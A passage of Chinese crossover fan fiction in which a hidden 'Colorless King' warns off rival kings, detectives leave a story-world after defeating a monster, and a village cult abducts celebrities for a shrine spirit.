“快!”新一与乱步冒险将铁锁扣住,他们离得怪物很近,能瞧见他爆凸的双眼中混乱残虐的杀意。他们对视一眼,其中一人极快地将一段扣在了车的后尾部。 “嗡嗡嗡嗡——”汽车立刻启动,飞速旋转的轮胎在地面上摩擦得冒出了烟。 铁索绷直,不断在挣扎的怪物被拖得倒在了地上,锁链在地上勾出了一道深深的印痕。它带着他飞快地往一个方向奔去。 怪物的怒吼声,汽车的驾驶声,锁链拖在地上的声音,都交织在几人的耳膜中,他们用自己最快的速度跟在后面,想要见到这一切的终结。 幸而他们不需要跑多久,因为他们选择的地方本就考虑到了这一点,害怕铁索也不能困住怪物太久,所以他们特意将它引到了这里。连半分钟都不到,汽车就带着怪物来到了海边,没有停下,它依旧朝着前面可怖的海面冲行,所有人都在心底里捏了一把汗,直到最后一刻,一个身影从驾驶室中险之又险地滚了出来,汽车拖曳着怪物,瞬息冲入海中。 无尽的黑色,与氤氲出的诡异红色将之吞没了下去,没有掀起一点泡沫。 望川涉从沙地上站了起来,拍了拍粘在管家服上的泥沙,将稍许的狼狈褪去,他又是一副从容在握的样子了。 所有人都来到了这里,他们一起注视着怪物被吞没的地方,像是在祭奠他的败亡。 裴真从海的高空上向他们投来目光,在这个刹那,所有人都有一种被无名之存在盯上的惊恐感,它是来自这无尽之海,是来自这翻覆之天,它来自遥远的前方,也是来自他们不可及之地,他们的身躯不受意志控制地微微颤抖起来。 在将两个空间彻底融合的这一刹,裴真几乎是在一瞬间拥有了两个故事空间所有的掌控权,在这几秒内,乱步他们一行人都可以说是直接被两个“世界”注视着了,直到一切歇止下去,这种被注目着的恐怖感才慢慢消退而下,他们终于找回了自己的理智。 “刚才那是……”新一满面不适。 乱步对着他摇了摇头,所有人就都没有说话了。沉默了好一会,森岛爱开了口,打破了沉寂:“这是都结束了么?” 没有人再提起刚才的感觉。望川涉说:“除非他能够抵抗这边的力量,然后从海水的强压下逆袭归来。” 新一抽了抽眼角:“不要在这个时候说冷笑话。” 望川涉笑了起来,他好像一直都是笑着的,哪怕是在局势最危险的时候。乱步瞥了他一眼,他有一种感觉,这个人还有秘密在隐藏,他的身上是由不尽的神秘所笼罩着的,刚才的那一番战斗,说不定还没有使出全力。 不过没关系,一切都结束了。超越者看样子没有要引入第三个“故事空间”的打算,而他也有感觉,他可以去见到某个人了。 海面平息下来,黑暗也静止了。他们站在此处,就如同站在世界的边界,他们结束了敌人,就像是剧目步入了尾声。观看者叹息一声,他们往后微躺,想要缓解观看的疲累,然而下一瞬,他们就听见了有人进入的声音。 有人向他们走来。 第127章 三位王的交流 这里是隔绝世外的特殊的空间, 能够进来的,只有得到此地主人允许的人。 “京介”从门外走入。他步履轻松,面容英俊的脸上一片淡然。 艾略特依旧在喝着茶, 他眉目敛下,似乎并没有要起身迎接的意思。 “果然……”在座的另两位在心中暗道。其中一人身姿笔挺,是在观看时首先发话的人, 他冷然道:“无色之王阁下,就算到了现在, 你也依旧不肯以真面目来与我们相见么?” “我从来不知道,能成为一位王者的人, 竟是如此胆小如鼠!”他毫不客气地嘲讽道。 裴真默默地瞧了他一眼,他走到沙发的对面, 推开椅子, 自己坐了下去, 他轻声道:“我们这样的王,不都是被石板选出来的吗?要我们拥有王者的气度,你是在说什么笑话吗?”他语气平平, 可就是如此, 才更令人生气, 比反嘲讽回去更使人生气。 说话的人似是气急而笑, 可很快,他就将这些外泄的情绪收拢了回去, 他沉声道:“看来你并没有自己被选中的觉悟。” 这话令在场的另外一人笑出了声, 仰躺在沙发上的他微微动了动,头往那边侧了侧, 他懒声道:“说的好像最开始你不是隐藏起来的样子,蛰伏数载, 一朝而动,掀起那样大的乱子,说的就是你吧,绿之王。” “赤王,”绿之王微笑了起来:“我只是在给我们的新朋友一点小小的测试罢了。以作为,他将我们邀请来这里,却迟迟不肯来招待的……回报。” “很显然,我们中新的成员,”他转向裴真道:“他的心态很好,并不认为自己成为了王,就比另外的世人要高出一层。这样的人在王里面,也是很难得的。” 赤王没有再说了。他本就是不善言辞的性子,又加上残破的赤王剑的时时压迫,他不得不将大部分的精力都放在那柄不稳的剑身上,他坐了起来,有些没精神道:“那么,‘无色’,你将我们邀请过来,是有什么话要说吗?” 裴真微微侧过头,他唇边含着笑:“难道不是两位想要见到我吗?” “让眷属在横滨市中大肆搜集我的消息,在我曾经传出过消息的城市埋藏人手,追寻我的朋友伊莎贝尔小姐的踪迹,在她收下的手下边监控,为的不就是与我见面吗?” 听到这些话,赤王沉默了下去,他的身材高大健硕,坐在那里,哪怕什么都没做,也会给人一种强大的压迫感,像是倦怠的狮子,只是随手动了动,就会激起人的警戒。他张开了口:“啊,是我。”他说道:“因为对新的‘无色之王’有些好奇,所以才做了那些。” 绿之王比水流同样干脆承认了下来,他的身形消瘦,瞳孔异色,理性疏离是他身上固定的特色,他启唇道:“很厉害不是吗?一个人也没派,只是一位朋友想,她担忧你未来才有可能发生的事,就提前了那么久去为你夺来一道‘保险’,为此,宁愿与一整个的异能城市为敌。与她相比,赤之王麾下的那么多眷属,发了疯似的想要为他们的王拖延崩溃的时间,却什么成果也没有,真是一群废物!” “绿王!”赤之王发了怒,他金色的瞳孔如燃烧起了烈焰,目光深邃锐利,宛若剑锋直指,充满了威严与压迫。绿之王也毫不客气,他冰冷回望过去,整个人如同一株苍翠之竹,冷然相对。 “叮。”是茶盏碰撞到茶碟上的声音,艾略特坐在外围,他身姿闲雅,虽是局外之人,却无一人敢将他忽视。他是组织者,也是促成了这次聚会的人。 “可以了,”裴真等了一会,道:“两位看样子都承认了自己的所为。那么你们就该知道,我为此生气,也是应该的。” 赤王周防尊没有说话,比水流则是笑了:“因为你是第一个对‘达摩克利斯剑’动手,还成功了的‘王’,我们所有人都对你很好奇。” “王都有掉剑的风险,前车之鉴便在那里,说我们不害怕是假的,”绿之王比水流缓缓声说,他的语气平静,似乎在隐藏着什么,他说:“我以为迫不及待要动手的是‘黄金’,他是最希望这片土地安稳的人,可我等了好久,也不见他有动作,就只能自己搜寻起来了。” “你们想要‘书’。”裴真一语就将他们的渴望与目的说了出来。 比水流冷漠道:“我有一件一定要做的事,寻求‘书’是为了给这件事添加上一道保险。” 周防尊嗤笑了下:“在横滨城里大肆投放眷属之力,你的目标就是使世间混乱么?” 难怪江户川乱步想要找到他,这个人真应该去和费奥多尔好好谈一谈,两人的目标是完全相反的。 裴真说:“你们找不到的。” “你说什么?”比水流有些生气,周防尊也抬眸望了过来。 裴真轻轻叹息:“或许我直接说你们可能不太了解,但在观看了这么一出‘戏剧’后,想必你们也应该有了理解的基础。”他想了下,措辞了一下语言:“你们猜,如果‘作者’一直提起着某件东西,里面的人却怎么也找不到,是什么原因?” 裴真自己回答了他们:“是因为还没到‘它’出场的时候。” 此言一出,犹如激起了层层火浪,比水流陡然肃立而起,周防尊先是有些迷惑,可很快,眼中就闪过一抹骇然。“你……什么意思?”这一次的比水流是真的生气了:“是在耍我们吗?” “有可能是在另一个城市,有可能是在城中最不起眼的地方,”裴真没理他们,自己说:“也有可能是处在一种存在与不存在间的‘薛定谔状态’,只要高层的叙事还没有定论,就没人能确定下它在哪里。” “你想要用这种说法来让我们放弃找‘书’吗?”比水流说:“就算要寻一个借口也要寻一个好的,这种荒谬的言论,是想要我们恐惧吗?” 这两位客人都是极为聪明的人,他们根本不需多想,就知道“无色之王”是在将他们的世界也比作一本书。 其实是几部的动漫。 裴真笑着看向他们:“只是一个比喻而已,不用惊慌。” 怎么可能不慌?当自己是看着书里人的时候,自然是可以有旁观者的冷静与淡然的,可当自己是被观察者的时候,那种不适与惊恐之感 ,是从内心底处生出无法遮掩的。 “不过,”裴真低下头,他轻抿了一口艾略特早已备好的茶水,淡漠道:“你们找了这么久,却是连一丝的痕迹也没有找到不是吗?” 比水流的双眼如同淬过了寒霜,一寸一寸地要将裴真剖析开。周防尊则是看不出什么表情变化。 “你们还要将时间浪费在这座毫无所获的城市中多久呢?”裴真状似好奇问:“我知道你们,一位是面临着王权剑即将掉落的风险,一位,或许有擂钵街的因素,”这句话让另两人身体有些僵硬,“可是我要告诉你们的是,你们在这里是什么也找不到的。也许你们再等上很长一段时间后再来会有那个机会,可是我也不知道那个时间是多久,更有可能的是,你们根本等不到那个时候。” “去寻找其它的方法吧。”裴真劝慰道:“去到高层叙事观测不到的地方,还有可能挽回你们的损失。” 比水流凝视着他,良久,他冷笑了一声:“你就是想要用这种毫无依据的荒诞说辞来让我们放弃在那座城中的搜寻吗?好吧,我们是可以放弃,可你是不是忘了,”他轻声说:“如果‘书’真的找不到,你身上所拥有的‘书页’岂不是最后的希望?为了一座城,将自己置于最危难的地步,‘无色’,原来你是这样一个慈悲伟大的人吗?” 裴真又叹了口气:“我只是不习惯因我的事给一处地方留下后患。说到给我找麻烦,你们难道现在没有在搜寻我吗?” “还有,”他微笑道:“‘书页’已与剑结合了起来,将之剥离,先不说会不会造成什么不忍见之事……”裴真不吝啬于在口头上说出些威胁之语,“你们也不一定会是我的对手,对了,你们还不知道我‘王权剑’的权能吧?” 他转向了周防尊:“是能够非常轻易就能给你身边人带去不可逆伤害的技能呢!” 周防尊坐而不动,但周身的气势却瞬间暴烈起来,他瞳孔竖立而起,看着他,就像是在看一尊有待狩猎的兽,下一刻就能撕裂他的咽喉,他喑哑道:“不要动他们!” “对于隐瞒了你私自对另一位王进行搜寻的眷属们如此珍惜吗?”裴真不为所动,饮了一口茶道:“不过,我在得到了那个能力后,还没有对一个人进行过试验,你的那群眷属,还不值得我破开例子。只是,如果他们再继续这样肆无忌惮下去,让别人轻视我的威严,我就不得不试用一下了。要知道,我不使用它,是出自我自身的修养,而不是为了束缚住自己的手脚。” 轻描淡写地说出了威慑的话,这下比水流也说不出他不像“王”的话了。 “毕竟,”裴真说:“当你自己都不在乎自己的脸面后,别人只会更加不客气地往上面踩上几脚。” “我不是那种可以让人亲近的王。”他如此鲜明地表态道。 第128章 故事中的告别 在裴真明确地表达过自己的态度后。 “……我知道了。”赤之王低沉道。他收回了目光, 静静道:“我会让他们停止所有的动作。不会再对你的情况有所窥探,包括你的朋友和属下。” 他许下了承诺。除开一开始就是他们那边起的头外,也还有他本身对于眷属十分真切的关怀。赤王的吠舞罗本就是依靠着情义组建起来的组织, 用他的眷属来威胁他,永远比用他本身来威胁更有用。 绿之王比水流冷冷地看着这一幕,他对于那群吠舞罗的小混混们没有丝毫的兴趣, 于他而言,青之王的组员们都更有威胁点, 他如果想要将超凡的力量普及开来,青之王与黄金之王都是敌人。 在于赤之王“达成协议”后, 裴真又看向了绿王,绿之王丝毫不畏惧他, 他就笑了笑:“因为曾经以王权剑的力量在迦具都陨坑事件中保得一命, 所以想要将这股力量普及给所有人吗?” “你是从哪里知道的?”现在的时间, 绿之王的身份来历还没有完全暴露出来。他厉声问。 裴真摇了摇头:“我没有什么可以劝告你的。一个人永远没办法体会到另一个人的心情,更何况,我也不曾经历过你所经历的。” 这话反倒是让绿之王攒紧了手, 将他一肚子的话都堵了回去, 他瞪着眼瞧他。 裴真倒是笑了, 他微微垂眸:“可是, 你是否是将人类这个种群想得太好了一些呢?” “哦,我忘了, 那件事发生的时候你才十一岁, ”裴真装作若有所悟地样子,嘴下却没有丝毫留情:“是一个什么都不懂的小家伙啊!” “你!”绿之王心中涌出了火。 “那就是你监护人的责任了, ”裴真冷声道:“要我将他的身份说出来吗?” “……你知道他?”比水流被强自按压了下去。 “礼尚往来罢了,你们在调查我, 我也就往回调查了下你们,和你们全无所获不同,我倒是有了点成果。”裴真说:“你想要将超凡普及,我并不反对,但我想,你或许应该看一下人类的犯罪史。就算是稍微了解一些大案纪实,你也不会那么轻易地就将这种力量没有丝毫考验地交给所有人。” 他端坐在那里,将另两位王的气势全然压了下去。“不论是什么时候,受到伤害的,永远只有最底层的那群人。”他轻飘飘地说:“你若做的不好,超凡也只是塑造出一个新的等阶。‘变革’可不指的是你弄出来的这一团糟的事。” “只启了个开头,后面就什么也不管,原来你是在将所有的责任都交给其他人吗?”裴真说:“那你就不要怪青之王他们通缉你们了,谁会想处理你这一拍脑子就做成的事呢?” 比水流牙齿咬得咯吱咯吱响。一边的艾略特又喝了口茶。 “不要再来搜寻我了。”裴真话题一转,相当直接地说道:“我不喜欢被人打扰。将精力放在一件注定会一无所获的事情上面,这只会给你们真正想做的事增添阻碍,我并非是你们的敌人。” “这是我最后给你们的劝告。否则的话,你们不会想知道我的手段的。”他站起身,率先离开。赤之王与绿之王都没有动,他们在体会着裴真之前说的话。目视着裴真的背影,他们眼神沉凝。当然,绿之王胸中还有火气。 直到最后到达的人最先离开。空间中一片寂静。 艾略特微笑着留给了他们一些时间。片刻后,他走到二人身前。 “这就是你们邀请我们过来的因由吗?”比水流蓦然抬眼望来。 艾略特笑着问:“那你准备怎样应答他呢?” 比水流冷哼一声:“之前留出的那些时间,不就是为了给我们查询的吗?你看我们查找到了点什么吗?”他也站起了身:“将‘神秘’贯彻到这种程度,我再去找,恐怕也不会找出什么东西吧?” 周防尊没有说话,他已经许下过承诺,自然不会再去推翻它。 比水流说:“我不会因情绪而树敌,他说的东西,我会去看看的。”尽管想放下狠话,但理智告诉他,那些都是无用的。最主要的是,他说的是对的,“无色”并非是他的敌人,他已不能有更多站在对立面的人。“送我们离开吧。”他注视着这位帮助了“无色之王”的超越者道。 艾略特眨了眨眼,他一挥手,这两位王者的意念化身就消失在了这片空间中,他们回到了自己的身体里。 艾略特看向了另外一边,那里,还有点小小的结尾有待收洽。 江户川乱步来到了一处无人的地方。在将最终的BOSS打败后,没有再出现什么变数,事情平息了下去,他们没有立刻离开,而是又回到了之前的生活中去。 别墅中空旷旷的,不少人死在了杀人魔化成的怪物手中,一行人找了好久,才勉强找到了一个可供暂时休憩的地方。这里是独立的屋子,与爆炸的地方有些距离,算是能挡一下风雨。 迫在眉睫的危险被除去了,接下来就是一些不得不面临的真相了。几个人都很沉默,江户川乱步便是在这种时候悄悄地离开了,在走之前他注意到,“管家”不知什么时候,也不在其中了。 他到来之后,没过多久,就见到“京介”从远处缓缓地走了过来。 乱步深吸了口气,他沉声道:“‘无色之王’阁下。” “京介”点了点头,应承下了这个称号。 江户川乱步尽管早有猜测,还是在心中稍稍松了口气。 “你找我,是为了解决横滨市的问题?”裴真轻声问。 乱步直视着他,“更准确说,是两位王者的问题。我想,您也不希望看到有些人一直在追查您的踪迹吧,您是希望隐藏下来,但不应该是在严密的搜寻下,不得不将自己的行踪隐匿。这样的情状,想必早已失却了你的本意。” 裴真笑了起来,不再伪装“京介”的他,看上去要淡然温和许多,他说:“你说的确实有道理。而且,三方汇聚在一个城市里,对你们来说也是一个问题。不过,你已不必再说。” 乱步眼中泛出迷惑,可很快,他就意识到了什么,心中涌出震惊。 “我已经和那两位王者见过了面,他们有很大可能将不会再在横滨市中搅动什么了,”裴真十分自然地将这句话说了出来:“另外的一些,想来见到他们如此,也会收敛起来。” 至于不收敛的,那就只能收拾一下了。 在来之前想过了不知道多少话的江户川乱步怔住了,他有想过要用怎样的话去劝服这位神秘的“王”,从他自身的角度,从横滨市的角度,他还想过,若是他不愿意出手,就要从异能特务科的方面借力了……他从未想过的是,他仅是说出了一句话,对方就已经将问题完全解决了。 这让他从来运转得飞快地脑子也闪出了一瞬的茫然。他不由开始思考——我这一次过来,做了这么多,是为了什么呢? “看来你没有其它的问题要说了。”裴真稍稍等了等,带着笑意的眼神落在乱步的身上,“那这样,我就离开了。” 江户川乱步张了张口,什么话也没有吐露出来。在这一刻,他不是没有更多的问题想问,比如伊莎贝尔的事,比如“书页”的事,又比如这个“故事世界”的事,但到底,这些都不是他必须要知道的。 “无色之王”果然毫不留情地转身就走。他自来到这里,仅是停留了半分钟,解答了乱步的诉求,便毫不拖泥带水地离去。乱步从没有见到过这样的人,他久久地站在原地,像是还没有从事件中回神,好一会都没有任何动静。 这就是最神秘无比的一位“王”吗?不知为何,对方的身上,仿佛笼罩上了更多的阴影与色彩,他就像是隐藏在无边迷雾中的人,仅是窥见一角,就能让人对他潜藏起来的部分想象到十分。 乱步收拾了一下心情,他回忆了下自己这趟“旅程”,摇了摇头,又笑了起来。 故事结束了。编纂故事的人醒了过来,故事中的人也到了要分别的时候。不是要从这里离开的新一与乱步,而是森岛爱与小町小雪。 大海上的黑暗消失了,天空又恢复成了无垠的蔚蓝。好似之前天昏地暗的灭世场景从未存在过一般,粼粼的波光一浪又一浪地向海岸边卷来,海鸥盘旋着,飞舞在码头之上。 一艘海轮发出汽笛的鸣叫,搅起了海水,分开白色的浪花,犹如飘动的丝带。森岛爱就站在海轮的尾尖部,身边是矮了一个头的小町小雪。她注视着海岛的方向,向着岛上的人举起手,挥了挥。小町小雪双手放在嘴边,呼喊出声。 工藤新一望了望江户川乱步,他有些不解道:“我以为等我们离开了,她们这个故事结束了,她们也就,也就……” “就会消失对吧?”乱步将他没说完的话说了出来。 新一叹了口气:“从知道她们不是真实存在的人后,我就在担心这一点。” 他挥了挥手,以作对小町小雪大声告别的回应。 乱步看着海轮,道:“这个故事可还没结束呢,没听‘管家’说吗,这个故事是有四幕剧的,主角的复仇还没有完成。她们结局的判定,也不是在我们手上。” 第129章 村庄的来客 故事中人的命运是掌握在使故事成真的人的手上的, 就连作家,恐怕也只是在最初抛下个小小的引子罢了。乱步从来不对森岛爱她们的未来抱有期待,想必她自己也是如此, 只是这一点,不必在这里说。 他看了眼新一,问道:“你准备要离开了吗?” 见到海轮越驶越远, 新一将手放了下来,他轻声说:“是啊, 梦也该醒了。” 他过来的时候是在梦中。他看向乱步,刚刚张开口:“我是……” 突兀的, 他面前的所见化为了一片片的碎片,就好像是琉璃乍裂, 也像是镜面崩毁, 江户川乱步的脸在他的面前均分成五等分, 对方的微笑也定格在那一瞬,他想要说出口的话再也说不出,他只感觉一阵天旋地转, 整个人随即被抛进了洗衣机里。 他见到有更多的碎片如流光般飞过, 他看到了森岛爱一幕幕手刃仇敌的场景, 和这次在岛上的不同, 她没有花费太久的时间,而是用着一个个不同的身份接近他们, 然后将他们最珍惜的东西夺走, 贪财者穷困潦倒、好名者千夫所指、就算什么也没有的人,也拿走了他最后的健康, 她就如同肢解一切的魔鬼一般,先让他们坠入地狱, 再一点点地取走他们的性命,令他们的死亡,如最后的微波。 他睁开眼睛,从床上猛然坐起。窗外一片漆黑,星星如眼睛一般好奇地看向他。 他紧急地呼吸了几口,好半天才慢慢地缓和下来。这就是天野写下的故事吗?他想了想,从床上下来,到书房里去将白天里买的书拿了过来,他翻开了第一页。 乱步从房间中突然出现,伴随的还有爱伦坡呼呼大睡的身影。太宰治他们第一时间就察觉到了,他们飞快地推开门,见到乱步没受伤,才笑着大声道:“这么久没有回来,看来你和太宰一样,也有了一次很新奇的体验呢!” 乱步摇了摇头,踢了踢爱伦坡,见到他仍没有醒,才道:“我这次的经历和他的异能有关……” 网络上对于《黄昏之血》这本书的评价很多。 “一场华丽的报复。” “蓄谋已久的围堵,毫不留情地剿杀!” “将人生这么久的部分投入进去,真的值得么?关键是她不只是拥有这一种的复仇方式。” “感觉像看了一出女主复仇爽文……” “她就像猫戏老鼠一样,将他们一个个地弄死了。一般的复仇,都是弱者对强者的谋杀,这本书完全反转过来了,并颠覆了我对性别的认知。” “很高规格的复仇女主。只是我无法理解,都有了这样的成就,为什么还要这样做。并且,那么久的等待,我不明白她是怎样忍下来的?” “这更像是她的一次人类心理学科试验,我感觉复仇才是她顺带做的事。不过这样也好,那种质问凶手除了复仇之外还有什么的传统故事我也早就看腻了!” ………… 乱步一边翻看着这些评价,一边将新买来的书又翻过了一页。在这本书中,他看到了一些疑问被解答。春江英才之所以不想要警察上岛,是因为当年他们在夺走了那对老夫妇的财产后,做的是贩卖违禁品的生意,这栋别墅是他们的一个储存点,所以才在最后也没有卖出;医生在之后的剧幕中没有出场,只在暗地里给予了支持,而小町小雪在这次事件中与森岛爱结下了友谊,但没他参与过的这次这么深厚,她会在第三剧幕中再出场,身份却是其中一人的女友;森岛爱在最后失去了踪迹,只听说东京大学中新来了一位平平无奇的心理学教授…… 太宰治笑嘻嘻地凑近过来,瞥了一眼他手机的界面,道:“赤之王的眷属确实偃旗息鼓了,他们甚至还有退出横滨市的架势,那些街头巷尾乱窜的绿之王的人也像受到了限制,没有过去那种肆无忌惮的性子了,听说他们的论坛上添加了好几条的规条,都是对他们行为的规范。” 他对乱步说:“爱伦坡在回去后,不知说了什么,‘组合’那里也完全没有了动作。横滨一时间安静了不少。这些都是那位‘无色之王’导致的,你能告诉我,他是个怎样的人吗?” 乱步回想了一下:“我依旧不知道他的真实身份与面貌。如风一样,神秘飘忽,这就是我在与他见过之后,唯一的感觉。” 太宰治听完后有些惋惜:“其实我还是对他挺好奇的。” 另外一边的异空间中。 艾略特将收回的请柬驱散,与此同时,下一份的请柬又重新在他的桌上生成。望川涉坐在他的对面,双腿交叠,一副不羁随意的形态。他知道对方身躯中的是“主体”,他望向他的眼睛,道:“没有,我什么感觉也没有。” 裴真以艾略特的姿态出场,他若有所思地问:“除开那些因我消除融合间排斥带来的异像外,对于新加入的那两个人,你没有任何在感官上的不适?” “是的,”望川涉说:“虽然他们来的很奇怪,但总的来说,他们的来历可经调查,经过也很顺理成章,起码在他们看来,过来这里,是他们自己的选择。”在引发爆炸前,他可不是什么都没做的。 “也就是说,两个故事融合间,一些交接的部分逻辑是自洽的。”裴真轻叹了口气,看来不管这个综漫的世界是怎么来的,从原著人物那里得到线索的可能性已经不大,之前他尝试过,但一些在他看来很神奇的事,在别人的眼中却是理所当然的真实。当然,他这次也不是为了再验证这些。 他看了眼自己的融液球,之前抽卡后还留有的光数是380,这一次的书中一趟收获了620,乱步与新一只给出了240多,大头是在两位王者那里,本体与三位马甲一同出场,只算初见,就抵过了前面两人的总和。 再加上这两天书籍仍在源源不断地传输来光点,+501,+461,也就是说,他现在又有了1962的数值,又攒下了一次银色抽卡。 他抛了下手中的骰子,出现的是③,“治愈,能治疗少量的伤势。” 之前的①被刷新了出去,裴真摇了摇头,没有再去进行尝试。卡牌也没有抽取,他看向了成就。 【你塑造出的维度】[钨铁成就] 一本摊开的书上是四副的场景,每一个场景中,都是森岛爱解决掉自己仇人的画面,这是在表明书中的内容。而在书外,却是另一副完全不同的景象,深红的土地诡谲苍凉,密织的锁链铺天盖地,它层层叠叠地将之锁住,连书的封面也只透露出一个“血”字。一道剪影手持着这本书,锁链在他身边乖顺地起舞,他立足在这片大地上,像是掌控着一切的终极的魔王。 “你我的命运,从一开始,就不归属于自己。” 因为并没有在外界造成很大的影响(横滨市的情况是缓和了很多,但真正退出去的只有赤之王与他的眷属,绿王没有再搜寻‘书’,但他所设下的布局,也不是那么容易取消放弃的),不如前面几次,所以这次获得的只有钨铁的成就。 得到一张“钨铁” 的升阶卡。至此,他拥有的,有关“白银”的,仍只有那三张,【红丝线】与【六面骰子】、【白银升阶卡】,这些都是之前留下来的。 仅是一次的尝试是不够的,决定了要追寻自己的穿越之谜,还要付出更多的努力。裴真心念一动,回去了天野鹤的身躯中,而艾略特则是看着许多爱伦坡留下的书,伸出了一只手…… 这一次的事件完整结束了。 ===== 偏僻的村庄中,之前还在这里拍摄的导演组早已不见了身影。祥和的假象褪去,村中冷清到诡异。那些曾经迎接过他们的村民们,都失去了踪影。 枯黄的树叶从上方飘落而下,降落到已经铺了一层叶片的地面上。一只脚踩踏下来,将之碾碎进泥土里,有人轻快地哼着歌,在这个无人的村落中雀跃着前行。 他身形不高,长发随着动作一跳一跳地抖动,有着一种不合世俗的天真之意。但其出现在这里,就无端给了人一种悚然之感。 “本台报道,《明星乡村行》的成员们在上一次的拍摄中已经失踪了三天,导演组在紧急退出后,向警察报了警,警局快速出动,但到了现在,也依旧还没有任何一位参与者的消息……” 这一隐瞒的消息终于还是爆了出来。网络上引起了轩然大波,不少人喊着自己偶像的名字,不停地在痛斥着电视台的失误与警察的无能,很多人在表达着对于失踪者的担忧与祝福。裴真惊讶地发现,柳生明澈的名声在经历了这一轮后,反倒飞速地向上攀升了好大一截,从小有名气到声名鹊起,省却了他不少的功夫。 这仅是意外。裴真将注意力投放到那座神龛中,其上的咒胎之灵微微动了动,它的唇角邪异地勾了起来。 来人走了很远的路。与其说他是在赶路,还不如说他是在随性地漫无目的地游走,他有时会关注着周边一样普普通通的东西,有时又会被身边的一只蝴蝶吸引而去,短短的路程就花费了他大半个的时辰,莫若说他是位成年人,还不如说他是位孩童。 第130章 【美丽新世界】 来的人嘴里哼着一些破碎的歌谣, 音律婉转悠长,但仔细听,都只是重复着一些特有的调子。 他一边轻声哼着, 一边不紧不慢地往前走。村庄中一个人也没有,他看了看身边经过的几栋房子,里面都没有他想要见到的绚烂色彩, 他就继续向前。 村子后面是一条小路,没有修建地面, 更像是由人日复一日踩踏出来的。后面的是山,郁郁葱葱的树林像是披了一层绿色的织布, 将整座的山完整地包裹住。来人走在蜿蜒的山路上,周边安静的诡异, 连一丝鸟叫虫鸣的声音都没有。 直到他看到了一座若隐若现的祠堂。 柳生明澈自进入村子后, 已经有两三天了。他真切地体会到了一把一些故事小说中描绘的村庄探险之旅。他是最先发现村子异样的人, 在其他人眼中,他是胆大包天到能偷偷跟随完全不对劲村民的狂徒。他是第一个失踪的,也是他的不见引起了有些人的警惕, 才让导演组在最后的关头退了出去。 可惜的是, 其他的几个人留了下来。因为村民们意识到他们暴露了, 紧急地将他们包围了起来。“小桔子”就是其中一位被绑起来的明星, 她已经逃到了村庄的入口处,却被早已埋伏好的人给堵住了, 在绝望之中, 她与另外一位参与的剧员被绑了起来,粗糙的麻绳将他们捆得牢牢的, 就像生猪一样,他们被倒抬着, 送往了后山。 黑夜还未降下,黄昏如橘红的血一样将整片的天空染红,从未有一刻,逢魔之时如此具象化地呈现在他们眼前。一座小巧邪异的祠堂坐落在两处山的山坳间,祠堂外,密密麻麻地跪倒着一地穿着白袍的村民们。 “寿哉寿哉福津神!”他们一脸狂热地呼喊。 “福津神大慈悲!”他们叩首以拜,口中连连喊道:“长生之主,腐肉之主,永恒之神!” “宴飨!宴飨!乞迎甘露!” 小桔子满脸骇然地听着这些疯子般的人口中呼喊着一些可怖的口号,直到他们被带到,所有人都用一种绿的发光的眼睛看着他们,无垠的恐怖仿佛巨浪般袭了过来,同伴恐惧到涕泪横流地向他们求饶,小桔子也被绝望吞没,只以为自己即将为这个无知愚昧所化作的“怪兽”彻底吞噬。 领头的人提着一柄锋利的弯刀走了过来。小桔子低垂着头,但当他走近的时候,小桔子突然疯狂地挣扎起来,她一脸恶狠狠地痛骂着这些人,骂他们的愚蠢邪恶,用尽了自己所有恶毒的词去诅咒他们,并竭尽了全力,向他们吐出口唾沫,要用牙齿从他们身上撕咬下块肉来。 领头的人被惹恼了,他一巴掌就拍在了她的脸上,打得她头脑嗡嗡响,一时连恐惧也驱散了。但奇怪的是,他并没有用他的刀给他们放血,像小桔子印象中祭祖前给祭品放血一样。他们被拖拽着拉到了祠堂内,那其中,还有另外的几位同伴昏倒在那里,他们一动不动,像是被打晕了。 一座半米高的神龛竖立在中央,白色的轻柔的帘幕将内里遮住,烟气缭绕之间,小桔子只感觉有人从其中正瞧着自己,它似笑非笑,目光中恍似有人的情感。 一种更恐怖的感觉从心底里生出,因为小桔子忽然意识到,外面的村民们并不是愚昧无知,他们不是被欺骗蛊惑的,他们所祭拜的邪神是真的存在的! 世界观被颠覆的错异感让她恍恍惚惚,连自己被扔在这里,领头人什么时候离开了都不知道,祠堂内格外的安静,一种诡异的观感犹如破土而出的植株般在她的心中钻出。 有什么东西就要起来了!它从座台上苏醒,就要下来了!被当成食物的悚然让小桔子挣扎着滚动起来,直到某一个时刻,一只手从神龛的下方突然伸出,将她拉进了内里。 她瞪大了眼睛,尖叫声就要脱口而出。一张意想不到的脸突兀出现在其眼前,她的话被卡住了,好一会,她才大喘气道:“你,是你……” 柳生明澈的笑容有些尴尬:“啊,是我。” “你怎么会在这里?”小桔子问。她发现他并没有被捆绑住。 柳生明澈就只好编出了一套自己在后面跟踪来的经历。小桔子满心惊讶:“你是说,你在这里躲了两天两夜?!” 柳生明澈竖起一根手指:“嘘,躲在这里,它好像没办法发现……我从进来后就出不去了,外面一直有人,我打不过他们。” “那怎么办?”小桔子连忙问:“难道要等它将人都吃完了,我们才有机会溜走?”她有些焦虑。 柳生明澈摇了摇头,他轻微地叹息:“能怎么办,我们除了等,还有别的办法吗?” 他缩着不动,手脚都有些僵硬地模样。小桔子也蜷缩了起来,这神龛下的空间虽大,但塞进两个人已经是极限了,她尽量缩成一团,粗糙的麻绳勒得她皮肤火辣辣的疼。 外面一片寂静,但她清楚地听到,就在上方,有什么东西窸窸窣窣地动了! 她瞬间睁大眼,身体瑟瑟发抖。 柳生明澈也不语,他的目光从遮挡的幕布间隙往外望去,就在不久前,“他”已经将两张卡牌从奇异的空间中扔出,在那个时刻,“他”的第六个马甲就已经诞生出来了! …… “加茂月行”倏然睁开了眼,“他”躺倒在软烂的泥土里,四肢一阵冰凉无力,好一会都无法从地面上爬起来。 “他”微微低下头,见到自己腹部有一处伤口正在不断地流血,鲜血将周边的泥土染红,四周一片杂乱,像是经历了一场惊险的战斗。 “他”想起来了,在“他”的记忆中,“他”刚刚经历了一场与咒灵之间的交战,只是两级的咒灵,他就已经花费了所有的力气,才堪堪在最后将之消灭。但咒灵被消灭后,“他”也撑不住了。 这就是“加茂月行”的实力,纵使是出生在咒术界三大家族的加茂家,他也只是分支中的劣等者,血脉的浓度不行,天资也不够,是连耗材也称不上的不为人关注的弱者。 【加茂月行】与【哲学家】组成了这个马甲,让“他”一开始就有些伤春悲秋。但“他”很快就从这种情绪中脱离出来。裴真预料到了这种情况,他稍稍坐起身,伤口撕裂开,又是一阵鲜血流出,他微微皱起眉。 一枚骰子出现在他的手中,③的“治愈”播撒下一阵光降临在他身上,还不够,他又将骰子扔出去十几次。 